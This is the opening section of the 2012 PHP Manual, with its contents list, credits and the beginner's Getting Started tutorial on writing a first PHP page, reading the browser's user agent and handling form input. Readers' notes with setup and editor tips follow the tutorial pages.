PHP Manual

PHP Manual

by:
Mehdi Achour
Friedhelm Betz
Antony Dovgal
Nuno Lopes
Hannes Magnusson
Georg Richter
Damien Seguy
Jakub Vrana
And several others
2012-01-26
Edited By: Philip Olson
© 1997-2012 the PHP Documentation Group
  • Copyright
  • PHP Manual
    • Preface
  • Getting Started
    • Introduction
    • A simple tutorial
  • Installation and Configuration
    • General Installation Considerations
    • Installation on Unix systems
    • Installation on Mac OS X
    • Installation on Windows systems
    • Installation on Cloud Computing platforms
    • FastCGI Process Manager (FPM)
    • Installation of PECL extensions
    • Problems?
    • Runtime Configuration
  • Language Reference
    • Basic syntax
    • Types
    • Variables
    • Constants
    • Expressions
    • Operators
    • Control Structures
    • Functions
    • Classes and Objects
    • Namespaces
    • Exceptions
    • References Explained
    • Predefined Variables
    • Predefined Exceptions
    • Predefined Interfaces
    • Context options and parameters
    • Supported Protocols and Wrappers
  • Security
    • Introduction
    • General considerations
    • Installed as CGI binary
    • Installed as an Apache module
    • Filesystem Security
    • Database Security
    • Error Reporting
    • Using Register Globals
    • User Submitted Data
    • Magic Quotes
    • Hiding PHP
    • Keeping Current
  • Features
    • HTTP authentication with PHP
    • Cookies
    • Sessions
    • Dealing with XForms
    • Handling file uploads
    • Using remote files
    • Connection handling
    • Persistent Database Connections
    • Safe Mode
    • Command line usage — Using PHP from the command line
    • Garbage Collection
  • Function Reference
    • Affecting PHP's Behaviour
    • Audio Formats Manipulation
    • Authentication Services
    • Date and Time Related Extensions
    • Command Line Specific Extensions
    • Compression and Archive Extensions
    • Credit Card Processing
    • Cryptography Extensions
    • Database Extensions
    • File System Related Extensions
    • Human Language and Character Encoding Support
    • Image Processing and Generation
    • Mail Related Extensions
    • Mathematical Extensions
    • Non-Text MIME Output
    • Process Control Extensions
    • Other Basic Extensions
    • Other Services
    • Search Engine Extensions
    • Server Specific Extensions
    • Session Extensions
    • Text Processing
    • Variable and Type Related Extensions
    • Web Services
    • Windows Only Extensions
    • XML Manipulation
  • PHP at the Core: A Hacker's Guide to the Zend Engine
    • Preface
    • The "counter" Extension - A Continuing Example
    • The PHP 5 build system
    • Extension structure
    • Memory management
    • Working with variables
    • Writing functions
    • Working with classes and objects
    • Working with resources
    • Working with INI settings
    • Working with streams
    • PDO Driver How-To
    • Extension FAQs
    • Zend Engine 2 API reference
    • Zend Engine 2 opcode list
    • Zend Engine 1
  • FAQ — FAQ: Frequently Asked Questions
    • General Information
    • Mailing lists
    • Obtaining PHP
    • Database issues
    • Installation
    • Build Problems
    • Using PHP
    • Password Hashing — Safe Password Hashing
    • PHP and HTML
    • PHP and COM
    • PHP and other languages
    • Migrating from PHP 4 to PHP 5
    • Miscellaneous Questions
  • Appendices
    • History of PHP and Related Projects
    • Migrating from PHP 5.3.x to PHP 5.4.x
    • Migrating from PHP 5.2.x to PHP 5.3.x
    • Migrating from PHP 5.1.x to PHP 5.2.x
    • Migrating from PHP 5.0.x to PHP 5.1.x
    • Migrating from PHP 4 to PHP 5.0.x
    • Classes and Objects (PHP 4)
    • Debugging in PHP
    • Configure options
    • php.ini directives
    • Extension List/Categorization
    • List of Function Aliases
    • List of Reserved Words
    • List of Resource Types
    • List of Available Filters
    • List of Supported Socket Transports
    • PHP type comparison tables
    • List of Parser Tokens
    • Userland Naming Guide
    • About the manual
    • Creative Commons Attribution 3.0
    • Index listing
  • HTML Help Edition
    • About This Edition
    • Using PHP Manual CHM Edition
    • The Full Text Search
    • Specialities of this Edition
    • Integrating the PHP Manual
    • Skin development
    • CHM Edition Credits

User Contributed Notes

There are no user contributed notes for this page.
PHP Manual


Copyright

Copyright © 1997 - 2012 by the PHP Documentation Group. This material may be distributed only subject to the terms and conditions set forth in the Creative Commons Attribution 3.0 License or later. A copy of the Creative Commons Attribution 3.0 license is distributed with this manual. The latest version is presently available at » http://creativecommons.org/licenses/by/3.0/.

If you are interested in redistribution or republishing of this document in whole or in part, either modified or unmodified, and you have questions, please contact the Copyright holders at » doc-license@lists.php.net. Note that this address is mapped to a publicly archived mailing list.

User Contributed Notes

There are no user contributed notes for this page.
PHP Manual
PHP Manual
PHP Manual
PHP Manual


PHP Manual
PHP Manual

PHP Manual

  • Preface

User Contributed Notes

There are no user contributed notes for this page.
Copyright
Preface
PHP Manual
PHP Manual


Preface

PHP, which stands for "PHP: Hypertext Preprocessor" is a widely-used Open Source general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. Its syntax draws upon C, Java, and Perl, and is easy to learn. The main goal of the language is to allow web developers to write dynamically generated web pages quickly, but you can do much more with PHP.

This manual consists primarily of a function reference, but also contains a language reference, explanations of some of PHP's major features, and other supplemental information.

You can download this manual in several formats at » http://www.php.net/download-docs.php. More information about how this manual is developed can be found in the 'About the manual' appendix. If you are interested in the history of PHP, visit the relevant appendix.

Authors and Contributors

We highlight the currently most active people on front page of the manual, but there are many more contributors who currently help in our work or have provided a great amount of help to the project in the past. There are a lot of unnamed people who help out with user notes on manual pages, which continually get included in the references, the work of whom we are also very thankful for. All of the lists provided below are in alphabetical order.

Authors and Editors

The following contributors should be recognized for the impact they have made and/or continue to make by adding content to the manual: Bill Abt, Jouni Ahto, Alexander Aulbach, Daniel Beckham, Stig Bakken, Nilgün Belma Bugüner, Jesus M. Castagnetto, Ron Chmara, Sean Coates, John Coggeshall, Simone Cortesi, Peter Cowburn, Daniel Egeberg, Markus Fischer, Wez Furlong, Sara Golemon, Rui Hirokawa, Brad House, Pierre-Alain Joye, Etienne Kneuss, Moriyoshi Koizumi, Rasmus Lerdorf, Andrew Lindeman, Stanislav Malyshev, Justin Martin, Rafael Martinez, Rick McGuire, Moacir de Oliveira Miranda Júnior, Kalle Sommer Nielsen, Yasuo Ohgaki, Richard Quadling, Derick Rethans, Rob Richards, Sander Roobol, Egon Schmid, Thomas Schoefbeck, Sascha Schumann, Dan Scott, Masahiro Takagi, Yannick Torres, Michael Wallner, Lars Torben Wilson, Jim Winstead, Jeroen van Wolffelaar and Andrei Zmievski.

The following contributors have done significant work editing the manual: Stig Bakken, Gabor Hojtsy, Hartmut Holzgraefe and Egon Schmid.

User Note Maintainers

The currently most active maintainers are: Daniel Brown, Nuno Lopes, Felipe Pena, Thiago Pojda and Maciek Sokolewicz.

These people have also put a lot of effort into managing user notes: Mehdi Achour, Daniel Beckham, Friedhelm Betz, Victor Boivie, Jesus M. Castagnetto, Nicolas Chaillan, Ron Chmara, Sean Coates, James Cox, Vincent Gevers, Sara Golemon, Zak Greant, Szabolcs Heilig, Oliver Hinckel, Hartmut Holzgraefe, Etienne Kneuss, Rasmus Lerdorf, Matthew Li, Andrew Lindeman, Aidan Lister, Hannes Magnusson, Maxim Maletsky, Bobby Matthis, James Moore, Philip Olson, Sebastian Picklum, Derick Rethans, Sander Roobol, Damien Seguy, Jason Sheets, Tom Sommer, Jani Taskinen, Yasuo Ohgaki, Jakub Vrana, Lars Torben Wilson, Jim Winstead, Jared Wyles and Jeroen van Wolffelaar.

User Contributed Notes

There are no user contributed notes for this page.
PHP Manual
Getting Started


Getting Started

  • Introduction
    • What is PHP?
    • What can PHP do?
  • A simple tutorial
    • What do I need?
    • Your first PHP-enabled page
    • Something Useful
    • Dealing with Forms
    • Using old code with new versions of PHP
    • What's next?

User Contributed Notes

There are no user contributed notes for this page.
Preface
Introduction


Introduction

Table of Contents

  • What is PHP?
  • What can PHP do?

User Contributed Notes

imajeffs at hotmail dot com 16-Nov-2009 05:11
Technically the web server always runs first. It doesn't understand PHP itself, but must be configured to detect whether the location requested by the client (browser) contains PHP segments or not. For example, any file with extension ".php" may be processed by invoking the PHP which interprets the PHP segments and feeds the entire HTML back to the server. It then returns that complete content back to the client.
nostamar $AT$ g mail 30-Jan-2008 04:06
here is a "server-php >> html >> browser" process illustration:
http://www.lastown.com/forum/viewtopic.php?t=533

it shows the basic steps; first php code is parsed at server into html; then sent to browser, that understands html tags and renders them to the display the webpage, there's also some quick overview about the process.. worths taking a look at
winks716 18-Aug-2007 07:48
before html runs to show a webpage, php code runs first on web server.

so, when there lines as follow:

<table>
<tr>
<td>
  <?php
    echo "php runs first!";
  ?>
</td>
</tr>
</table>

the first step is to run php code, we get:

<table>
<tr>
<td>
php runs first
</td>
</tr>
</table>

then, code is sent to browser, and we see somthing~
george dot langley at shaw dot ca 18-Jul-2007 05:02
"the code is executed on the server"

This is an important concept for the first-time PHP programmer to understand, so that when you get into string formatting later on, you understand the difference between formatting the on-screen content (as parsed by your browser) and formatting the HTML code (as returned by the server).
For example "\n" starts a new line in the HTML code, and its results are only seen if you look at the "source HTML". It is NOT the same as <br>!

[EDIT BY danbrown AT php DOT net:  Corrected typo in post.  Thanks to PHP at ANDY dot COM dot PT for pointing out the issue.]
Getting Started
What is PHP?
Getting Started


What is PHP?

PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.

Nice, but what does that mean? An example:

Example #1 An introductory example

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
        <title>Example</title>
    </head>
    <body>

        <?php
            echo "Hi, I'm a PHP script!";
        ?>

    </body>
</html>

Instead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does "something" (in this case, output "Hi, I'm a PHP script!"). The PHP code is enclosed in special start and end processing instructions <?php and ?> that allow you to jump into and out of "PHP mode."

What distinguishes PHP from something like client-side JavaScript is that the code is executed on the server, generating HTML which is then sent to the client. The client would receive the results of running that script, but would not know what the underlying code was. You can even configure your web server to process all your HTML files with PHP, and then there's really no way that users can tell what you have up your sleeve.

The best things in using PHP are that it is extremely simple for a newcomer, but offers many advanced features for a professional programmer. Don't be afraid reading the long list of PHP's features. You can jump in, in a short time, and start writing simple scripts in a few hours.

Although PHP's development is focused on server-side scripting, you can do much more with it. Read on, and see more in the What can PHP do? section, or go right to the introductory tutorial if you are only interested in web programming.

User Contributed Notes

There are no user contributed notes for this page.
Introduction
What can PHP do?
Introduction


What can PHP do?

Anything. PHP is mainly focused on server-side scripting, so you can do anything any other CGI program can do, such as collect form data, generate dynamic page content, or send and receive cookies. But PHP can do much more.

There are three main areas where PHP scripts are used.

  • Server-side scripting. This is the most traditional and main target field for PHP. You need three things to make this work. The PHP parser (CGI or server module), a web server and a web browser. You need to run the web server, with a connected PHP installation. You can access the PHP program output with a web browser, viewing the PHP page through the server. All these can run on your home machine if you are just experimenting with PHP programming. See the installation instructions section for more information.
  • Command line scripting. You can make a PHP script to run it without any server or browser. You only need the PHP parser to use it this way. This type of usage is ideal for scripts regularly executed using cron (on *nix or Linux) or Task Scheduler (on Windows). These scripts can also be used for simple text processing tasks. See the section about Command line usage of PHP for more information.
  • Writing desktop applications. PHP is probably not the very best language to create a desktop application with a graphical user interface, but if you know PHP very well, and would like to use some advanced PHP features in your client-side applications you can also use PHP-GTK to write such programs. You also have the ability to write cross-platform applications this way. PHP-GTK is an extension to PHP, not available in the main distribution. If you are interested in PHP-GTK, visit » its own website.

PHP can be used on all major operating systems, including Linux, many Unix variants (including HP-UX, Solaris and OpenBSD), Microsoft Windows, Mac OS X, RISC OS, and probably others. PHP has also support for most of the web servers today. This includes Apache, IIS, and many others. And this includes any web server that can utilize the FastCGI PHP binary, like lighttpd and nginx. PHP works as either a module, or as a CGI processor.

So with PHP, you have the freedom of choosing an operating system and a web server. Furthermore, you also have the choice of using procedural programming or object oriented programming (OOP), or a mixture of them both.

With PHP you are not limited to output HTML. PHP's abilities includes outputting images, PDF files and even Flash movies (using libswf and Ming) generated on the fly. You can also output easily any text, such as XHTML and any other XML file. PHP can autogenerate these files, and save them in the file system, instead of printing it out, forming a server-side cache for your dynamic content.

One of the strongest and most significant features in PHP is its support for a wide range of databases. Writing a database-enabled web page is incredibly simple using one of the database specific extensions (e.g., for mysql), or using an abstraction layer like PDO, or connect to any database supporting the Open Database Connection standard via the ODBC extension. Other databases may utilize cURL or sockets, like CouchDB.

PHP also has support for talking to other services using protocols such as LDAP, IMAP, SNMP, NNTP, POP3, HTTP, COM (on Windows) and countless others. You can also open raw network sockets and interact using any other protocol. PHP has support for the WDDX complex data exchange between virtually all Web programming languages. Talking about interconnection, PHP has support for instantiation of Java objects and using them transparently as PHP objects.

PHP has useful text processing features, which includes the Perl compatible regular expressions (PCRE), and many extensions and tools to parse and access XML documents. PHP standardizes all of the XML extensions on the solid base of libxml2, and extends the feature set adding SimpleXML, XMLReader and XMLWriter support.

And many other interesting extensions exist, which are categorized both alphabetically and by category. And there are additional PECL extensions that may or may not be documented within the PHP manual itself, like » XDebug.

As you can see this page is not enough to list all the features and benefits PHP can offer. Read on in the sections about installing PHP, and see the function reference part for explanation of the extensions mentioned here.

User Contributed Notes

Matt Whipple 06-Mar-2010 06:14
It's likely worth mentioning FastCGI in the Web server support section (possibly even a link to php-fpm if that is widely embraced)
aked1372 at hotmail dot com 03-Jul-2009 05:19
I use PhP to hide my email addresses as the HTML MAILTO:
feature can be tracked by SPAMBOTS (robots that send junk through email).
PhP is also the best way to make shopping carts on e-commerce websites without spending 3 years learning ASP.net.
Without PhP, the web would still look lke it did in 1992.
Without Opensource like php.net, I wouldn't have learnt PhP
because i'm a cheapskate, and think everything should be free.
frantik 14-Sep-2008 11:50
WinBinder is a (Windows only) alternative to PHP-GTK for those interested in GUI development.
geeky dot guy at gmail dot com 21-Aug-2007 08:30
In short,what PHP can do is convert a static website that has content that has to be changed by hand into a dynamic one that can display content based on any criteria you can think of.
What is PHP?
A simple tutorial
Introduction


A simple tutorial

Table of Contents

  • What do I need?
  • Your first PHP-enabled page
  • Something Useful
  • Dealing with Forms
  • Using old code with new versions of PHP
  • What's next?

Here we would like to show the very basics of PHP in a short, simple tutorial. This text only deals with dynamic web page creation with PHP, though PHP is not only capable of creating web pages. See the section titled What can PHP do for more information.

PHP-enabled web pages are treated just like regular HTML pages and you can create and edit them the same way you normally create regular HTML pages.

User Contributed Notes

There are no user contributed notes for this page.
What can PHP do?
What do I need?
Getting Started


What do I need?

In this tutorial we assume that your server has activated support for PHP and that all files ending in .php are handled by PHP. On most servers, this is the default extension for PHP files, but ask your server administrator to be sure. If your server supports PHP, then you do not need to do anything. Just create your .php files, put them in your web directory and the server will automatically parse them for you. There is no need to compile anything nor do you need to install any extra tools. Think of these PHP-enabled files as simple HTML files with a whole new family of magical tags that let you do all sorts of things. Most web hosts offer PHP support, but if your host does not, consider reading the » PHP Links section for resources on finding PHP enabled web hosts.

Let us say you want to save precious bandwidth and develop locally. In this case, you will want to install a web server, such as » Apache, and of course » PHP. You will most likely want to install a database as well, such as » MySQL.

You can either install these individually or choose a simpler way. Our manual has installation instructions for PHP (assuming you already have some web server set up). If you have problems with installing PHP yourself, we would suggest you ask your questions on our » installation mailing list. If you choose to go on the simpler route, then » locate a pre-configured package for your operating system, which automatically installs all of these with just a few mouse clicks. It is easy to setup a web server with PHP support on any operating system, including MacOSX, Linux and Windows. On Linux, you may find » rpmfind and » PBone helpful for locating RPMs. You may also want to visit » apt-get to find packages for Debian.

User Contributed Notes

Dennis 16-Feb-2011 11:08
On Ubuntu, you can install everything in a single command.
Just open your terminal window and type:

    sudo apt-get install lamp-server^

(the ^ symbol at the end of this command is mandatory)
jtbowlin at gmail dot com 05-Aug-2010 02:42
Rather than WAMP or XAMPP, I find it much easier and straightforward to use Windows Web Platform Installer...
chris at yahoo dot com 22-Mar-2010 12:33
One nice thing about WAMP is it's ability to install multiple versions of PHP, MySQL, and/or Apache and then easily select between them using the wampServer control panel. This allows you to test your app between various versions if you need that ability. XAMPP only supports one version of PHP, MySQL, and Apache.
shears dot wayne at googlemail dot com 09-Mar-2009 05:23
Rather than WAMP as suggested above you can use XAMMP which is a very useful tool which is easy to install and run.

You can use this on Windows/Linux/Mac based machines (including vista) to locally test your applications. The secuirty on the server is limited at first and if you set up port forwarding to allow users from the 'outside world' to see you applications you will required to address a few security issues.

But all in all this tool is great to use for Windows users who want to test locally and like a simple install.

URL:
http://www.apachefriends.org/en/xampp.html
jason dot khov at gmail dot com 27-Dec-2008 09:49
Don't worry about installing your own LAMP environment.  (Linux, Apache, MySQL and PHP)

On windows, you can download and install WAMP.  With one installation and you get an apache webserver, database server and php.
http://www.wampserver.com

On mac, you can download and install MAMP.
http://www.mamp.info/

Saves me a lot of headache to do development locally on my computer.
A simple tutorial
Your first PHP-enabled page
A simple tutorial


Your first PHP-enabled page

Create a file named hello.php and put it in your web server's root directory (DOCUMENT_ROOT) with the following content:

Example #1 Our first PHP script: hello.php

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
 <?php echo '<p>Hello World</p>'; ?>
 </body>
</html>

Use your browser to access the file with your web server's URL, ending with the /hello.php file reference. When developing locally this URL will be something like http://localhost/hello.php or http://127.0.0.1/hello.php but this depends on the web server's configuration. If everything is configured correctly, this file will be parsed by PHP and the following output will be sent to your browser:

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
 <p>Hello World</p>
 </body>
</html>

This program is extremely simple and you really did not need to use PHP to create a page like this. All it does is display: Hello World using the PHP echo() statement. Note that the file does not need to be executable or special in any way. The server finds out that this file needs to be interpreted by PHP because you used the ".php" extension, which the server is configured to pass on to PHP. Think of this as a normal HTML file which happens to have a set of special tags available to you that do a lot of interesting things.

If you tried this example and it did not output anything, it prompted for download, or you see the whole file as text, chances are that the server you are on does not have PHP enabled, or is not configured properly. Ask your administrator to enable it for you using the Installation chapter of the manual. If you are developing locally, also read the installation chapter to make sure everything is configured properly. Make sure that you access the file via http with the server providing you the output. If you just call up the file from your file system, then it will not be parsed by PHP. If the problems persist anyway, do not hesitate to use one of the many » PHP support options.

The point of the example is to show the special PHP tag format. In this example we used <?php to indicate the start of a PHP tag. Then we put the PHP statement and left PHP mode by adding the closing tag, ?>. You may jump in and out of PHP mode in an HTML file like this anywhere you want. For more details, read the manual section on the basic PHP syntax.

Note: A Note on Line Feeds

Line feeds have little meaning in HTML, however it is still a good idea to make your HTML look nice and clean by putting line feeds in. A linefeed that follows immediately after a closing ?> will be removed by PHP. This can be extremely useful when you are putting in many blocks of PHP or include files containing PHP that aren't supposed to output anything. At the same time it can be a bit confusing. You can put a space after the closing ?> to force a space and a line feed to be output, or you can put an explicit line feed in the last echo/print from within your PHP block.

Note: A Note on Text Editors

There are many text editors and Integrated Development Environments (IDEs) that you can use to create, edit and manage PHP files. A partial list of these tools is maintained at » PHP Editors List. If you wish to recommend an editor, please visit the above page and ask the page maintainer to add the editor to the list. Having an editor with syntax highlighting can be helpful.

Note: A Note on Word Processors

Word processors such as StarOffice Writer, Microsoft Word and Abiword are not optimal for editing PHP files. If you wish to use one for this test script, you must ensure that you save the file as plain text or PHP will not be able to read and execute the script.

Note: A Note on Windows Notepad

If you are writing your PHP scripts using Windows Notepad, you will need to ensure that your files are saved with the .php extension. (Notepad adds a .txt extension to files automatically unless you take one of the following steps to prevent it.) When you save the file and are prompted to provide a name for the file, place the filename in quotes (i.e. "hello.php"). Alternatively, you can click on the 'Text Documents' drop-down menu in the 'Save' dialog box and change the setting to "All Files". You can then enter your filename without quotes.

Now that you have successfully created a working PHP script, it is time to create the most famous PHP script! Make a call to the phpinfo() function and you will see a lot of useful information about your system and setup such as available predefined variables, loaded PHP modules, and configuration settings. Take some time and review this important information.

Example #2 Get system information from PHP

<?php phpinfo(); ?>

User Contributed Notes

Studio at archipelago dot co dot uk 29-Jan-2011 12:40
If, when you test the file in a browser, you see the HTML code rather than your greeting, it may be because you launched the page by dragging it to your browser. The URL should start with 'http://' NOT 'file://'
xiaomao5 at live dot com 03-Sep-2010 02:29
save your php script without the BOM when using UTF-8 or you will see "锘" in front of any output. A solution is save it without BOM(available in editplus and notepad++)
miklcct at gmail dot com 03-Jan-2010 05:56
If you save your code as UTF-8, make sure that the BOM (EF BB BF) is not present as the first 3 bytes of the file otherwise it may interfere with the code if the PHP need to be run before any output (e.g. header()).
jt at fuw dot edu dot pl 19-May-2007 04:48
Well, but PHP file ownership is important when server has safe_mode enabled - HTTP server checks it, uses it to set UID of process which executes it, or may even refuse to execute such a file - e.g. if one user is owner of main PHP file, and the main file includes another, owned by other user, this is considered to be security violation (quite reasonably).
HobbyTech 08-Aug-2006 10:12
On Windows, if file extensions can be hidden, you may not SEE that you have accidently saved a file as 'Text Documents' (and that the browser has added '.txt' to the end of your 'page.html', resulting in 'page.html.txt'.) You still see only 'page.html' even though it's really 'page.html.txt'. Also, if you try to rename it, it won't work because it's not overwriting the '.txt' part and not changing the filetype.

By the way, the hiding of file extensions is ALSO a way malicious crackers get you to click on an executable virus, fooling you into thinking it's an innocent document. You should always be able to view the extensions of all files on your system.

To view all extensions, open Windows Explorer. Click the 'Tools' menu, then 'Folder Options'. In the dialog box that appears, click the 'View' tab. In the 'Advanced Settings Box', scroll down to 'Hide extensions for known file types' and click the checkbox next to it to REMOVE THE CHECKMARK. Click the 'Apply to All Folders' button near the top of the dialog. This may or may not take a few minutes. Then click the 'OK' button to close the dialog.

Now, if something accidentally gets saved as the wrong filetype, resulting in another file extension automatically appended to the one you typed, you will see it and be able to rename it.

Of course, a badly-named file can be renamed simply by using 'Save As' and saving it as the proper filetype, but if you can't see the file extension, you may not know that is the problem. Also, renaming is easier than opening, resaving as a new filetype, and then deleting the old version!
c300501 at yahoo dot com 07-Jun-2006 06:26
document_root variable is  located in your web server configuration file
onebadscrivener at gmail dot com 17-Jan-2005 05:25
OS X users editing in TextEdit will need to make sure their TextEdit preferences are set to allow plain text files.  Under the TextEdit pull-down menu, choose PREFERENCES, then under NEW DOCUMENT ATTRIBUTES in the window that pops up, click PLAIN TEXT.

Then, in the section of that same window called "saving," DESELECT "append .txt extension to plain text files."  This will allow you to save your files with a .php extension.

Then close the PREFERENCES window.  You're good to go.
Curtis 10-Aug-2004 02:47
Expansion on saving w/ notepad/wordpad: (tested on XP; but should work on 2000,NT, and 98)

You can associate the .php file extension w/ Windows w/o going into the registry.

Open up My Computer or MSIE in file mode. Go to folder options > File types tab. Now click new. Add the extension as PHP or php. If you can't find the PHP application in the dropdown list under advanced, just go OK, for now. At least the extension is in place.

Now, try and create a php file by using the directions from this page of the PHP tutorial (should save it with the rest of your HTML files, i.e. your DocumentRoot). If you go to view your php file listed in the directory, and you see that it's still a .txt file, right-click the icon to see if you can locate "open with." If so, you should be able to browse for the appropriate file, which should be at (may vary, depending on where you installed PHP):

C:\PHP\php.exe

Click that as the default program, and the PHP logo should appear on all your scripts, and no problems saving should occur w/ any program.

Good luck.
ryan420 at earthling dot net 03-Feb-2003 02:18
Note on permissions of php files:  You don't have to use 'chmod 0755' under UNIX or Linux; the permissions need not be set to executable.  Again, this is more like a html file than a cgi script.  The only mandatory requirement is that the web server process has read access to the php file(s).  With many Linux systems, it is popular for Apache to run under the 'apache' account.  Given that HTML and other web files, like php, are often owned by user 'root' and group 'web' (or another similar group name), acceptable permissions might be those achieved with 'chmod 664' or 'chmod 644'.  The web server process, running under the 'apache' account, will inherit read only permissions.  The 'apache' account is not root and is not a member of the 'web' group, so the "other" portion of the permissions (the last "4") applies.
What do I need?
Something Useful
A simple tutorial


Something Useful

Let us do something more useful now. We are going to check what sort of browser the visitor is using. For that, we check the user agent string the browser sends as part of the HTTP request. This information is stored in a variable. Variables always start with a dollar-sign in PHP. The variable we are interested in right now is $_SERVER['HTTP_USER_AGENT'].

Note:

$_SERVER is a special reserved PHP variable that contains all web server information. It is known as a superglobal. See the related manual page on superglobals for more information. These special variables were introduced in PHP » 4.1.0. Before this time, we used the older $HTTP_*_VARS arrays instead, such as $HTTP_SERVER_VARS. Although deprecated, these older variables still exist. (See also the note on old code.)

To display this variable, you can simply do:

Example #1 Printing a variable (Array element)

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

A sample output of this script may be:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

There are many types of variables available in PHP. In the above example we printed an Array element. Arrays can be very useful.

$_SERVER is just one variable that PHP automatically makes available to you. A list can be seen in the Reserved Variables section of the manual or you can get a complete list of them by looking at the output of the phpinfo() function used in the example in the previous section.

You can put multiple PHP statements inside a PHP tag and create little blocks of code that do more than just a single echo. For example, if you want to check for Internet Explorer you can do this:

Example #2 Example using control structures and functions

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {
    echo 'You are using Internet Explorer.<br />';
}
?>

A sample output of this script may be:

You are using Internet Explorer.<br />

Here we introduce a couple of new concepts. We have an if statement. If you are familiar with the basic syntax used by the C language, this should look logical to you. Otherwise, you should probably pick up an introductory PHP book and read the first couple of chapters, or read the Language Reference part of the manual.

The second concept we introduced was the strpos() function call. strpos() is a function built into PHP which searches a string for another string. In this case we are looking for 'MSIE' (so-called needle) inside $_SERVER['HTTP_USER_AGENT'] (so-called haystack). If the needle is found inside the haystack, the function returns the position of the needle relative to the start of the haystack. Otherwise, it returns FALSE. If it does not return FALSE, the if expression evaluates to TRUE and the code within its {braces} is executed. Otherwise, the code is not run. Feel free to create similar examples, with if, else, and other functions such as strtoupper() and strlen(). Each related manual page contains examples too. If you are unsure how to use functions, you will want to read both the manual page on how to read a function definition and the section about PHP functions.

We can take this a step further and show how you can jump in and out of PHP mode even in the middle of a PHP block:

Example #3 Mixing both HTML and PHP modes

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE) {
?>
<h3>strpos() must have returned non-false</h3>
<p>You are using Internet Explorer</p>
<?php
} else {
?>
<h3>strpos() must have returned false</h3>
<p>You are not using Internet Explorer</p>
<?php
}
?>

A sample output of this script may be:

<h3>strpos() must have returned non-false</h3>
<p>You are using Internet Explorer</p>

Instead of using a PHP echo statement to output something, we jumped out of PHP mode and just sent straight HTML. The important and powerful point to note here is that the logical flow of the script remains intact. Only one of the HTML blocks will end up getting sent to the viewer depending on the result of strpos(). In other words, it depends on whether the string MSIE was found or not.

User Contributed Notes

Jay Walker 06-Dec-2011 10:09
Suggesting a better way to detect the Firefox browser:

I see that, at least for a recent download of the Firefox browser,
the PHP command:

<?php
echo $_SERVER['HTTP_USER_AGENT'];
?>

returns:

Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0
...
So, note the term 'Firefox' in the returned string,
and therefore you can search for the substring 'Firefox'.

Therefore the PHP code:

<?php
if (strpos($_SERVER['HTTP_USER_AGENT'], 'Firefox') !== FALSE)
    {
    echo 'I see you are using Mozilla Firefox browser.<br />';
    }
?>
works just fine.
Anonymous 20-Nov-2011 11:18
Note that for historical reasons, most browsers (including IE) identify themselves as Mozilla, so this keyword will not do for identifying an actual Mozilla browser.
rfantin at coralwood dot com 20-Dec-2006 10:00
While it's easy to get carried away mixing your logic and presentation together since it's so easy to do, you're better off using PHP within HTML only to fill in values, or include other source files.

Keep your actual processing in separate libraries that are called before you send any headers to the page. Try to avoid calling a script that retrieves or sets information, or manipulates it in the middle of your HTML. You'll find it's much easier to maintain.
Your first PHP-enabled page
Dealing with Forms
A simple tutorial


Dealing with Forms

One of the most powerful features of PHP is the way it handles HTML forms. The basic concept that is important to understand is that any form element will automatically be available to your PHP scripts. Please read the manual section on Variables from external sources for more information and examples on using forms with PHP. Here is an example HTML form:

Example #1 A simple HTML form

<form action="action.php" method="post">
 <p>Your name: <input type="text" name="name" /></p>
 <p>Your age: <input type="text" name="age" /></p>
 <p><input type="submit" /></p>
</form>

There is nothing special about this form. It is a straight HTML form with no special tags of any kind. When the user fills in this form and hits the submit button, the action.php page is called. In this file you would write something like this:

Example #2 Printing data from our form

Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.

A sample output of this script may be:

Hi Joe. You are 22 years old.

Apart from the htmlspecialchars() and (int) parts, it should be obvious what this does. htmlspecialchars() makes sure any characters that are special in html are properly encoded so people can't inject HTML tags or Javascript into your page. For the age field, since we know it is a number, we can just convert it to an integer which will automatically get rid of any stray characters. You can also have PHP do this for you automatically by using the filter extension. The $_POST['name'] and $_POST['age'] variables are automatically set for you by PHP. Earlier we used the $_SERVER superglobal; above we just introduced the $_POST superglobal which contains all POST data. Notice how the method of our form is POST. If we used the method GET then our form information would live in the $_GET superglobal instead. You may also use the $_REQUEST superglobal, if you do not care about the source of your request data. It contains the merged information of GET, POST and COOKIE data. Also see the import_request_variables() function.

You can also deal with XForms input in PHP, although you will find yourself comfortable with the well supported HTML forms for quite some time. While working with XForms is not for beginners, you might be interested in them. We also have a short introduction to handling data received from XForms in our features section.

User Contributed Notes

Johann Gomes (johanngomes at gmail dot com) 11-Oct-2010 07:20
Also, don't ever use GET method in a form that capture passwords and other things that are meant to be hidden.
arnel_milan at hotmail dot com 29-Mar-2008 09:27
I was so shocked that some servers have a problem regarding the Submit Type Name and gives a "Not Acceptable error" or Error 406.

Consider the example below :

<form action="blah.php" method="POST">
  <table>
    <tr>
      <td>Name:</td>
      <td><input type="text" name="name"></td>
    </tr>

    <tr>
      <td colspan="2" align="center">
        <input type="submit" name="Submit_btn" id="Submit_btn" value="Send">
      </td>
    </tr>
  </table>
</form>

This very simple code triggers the "Not Acceptable Error" on
PHP Version 5.2.5 and Apache 1.3.41 (Unix) Server.

However to fix this below is the right code:

<form action="blah.php" method="POST">
  <table>
    <tr>
      <td>Name:</td>
      <td><input type="text" name="name"></td>
    </tr>

    <tr>
      <td colspan="2" align="center">
        <input type="submit" name="Submitbtn" id="Submit_btn" value="Send">
      </td>
    </tr>
  </table>
</form>

The only problem that took me hours to find out is the "_" in the Submit Button.

Hope this help!
SvendK 08-Nov-2006 08:02
As Seth mentions, when a user clicks reload or goes back with the browser button, data sent to the server, may be sent again (after a click on the ok button).

